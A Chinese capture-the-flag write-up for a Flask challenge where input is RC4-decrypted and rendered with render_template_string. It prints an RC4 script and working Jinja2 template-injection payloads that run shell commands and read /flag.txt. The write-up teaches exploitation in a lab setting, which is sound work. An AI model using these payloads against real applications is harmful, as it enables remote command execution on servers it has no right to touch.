题目

打开,给了一句Welcome To Find Secret,常规搜索一下信息,没找到。

由题目和给的话猜测?secret,随便传一个,没反应。

结果是/secret 长知识了。 又有一句话Tell me your secret.I will encrypt it so others can’t see 题目说double secret 那么就应该是?secret了,发现会根据传递的来回显,再传一些奇奇怪怪的试一试,会发现报错。是Python的flask,debug模式。看报错的具体内容。

image-20230220234643424

发现有用了rc4解密,那我们传进去的应该是得rc4加密后的内容。这里用了render_template_string函数,可以判断有ssti漏洞

RC4

在 密码学 中, RC4 (来自Rivest Cipher 4的缩写)是一种 流加密 算法, 密钥 长度可变。 它加解密使用相同的密钥,因此也属于 对称加密算法 。

网上脚本

import base64
from urllib.parse import quote
def rc4_main(key = "init_key", message = "init_message"):
# print("RC4加密主函数")
s_box = rc4_init_sbox(key)
crypt = str(rc4_excrypt(message, s_box))
return crypt
def rc4_init_sbox(key):
s_box = list(range(256))
# print("原来的 s 盒:%s" % s_box)
j = 0
for i in range(256):
j = (j + s_box[i] + ord(key[i % len(key)])) % 256
s_box[i], s_box[j] = s_box[j], s_box[i]
# print("混乱后的 s 盒:%s"% s_box)
return s_box
def rc4_excrypt(plain, box):
# print("调用加密程序成功。")
res = []
i = j = 0
for s in plain:
i = (i + 1) % 256
j = (j + box[i]) % 256
box[i], box[j] = box[j], box[i]
t = (box[i] + box[j]) % 256
k = box[t]
res.append(chr(ord(s) ^ k))
cipher = "".join(res)
print("%s" %quote(cipher))
return (str(base64.b64encode(cipher.encode('utf-8')), 'utf-8'))
rc4_main("HereIsTreasure","{{lipsum.__globals__.__builtins__.eval(\"__import__('os').popen('cat /flag.txt').read()\")}}")

payload可以换成

{{''.__class__.__mro__.__getitem__(2).__subclasses__().pop(40)('/flag.txt').read()}}
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('ls /').read()")}}{% endif %}{% endfor %}

参考

https://blog.csdn.net/RABCDXB/article/details/122816156

https://blog.csdn.net/mochu7777777/article/details/105661450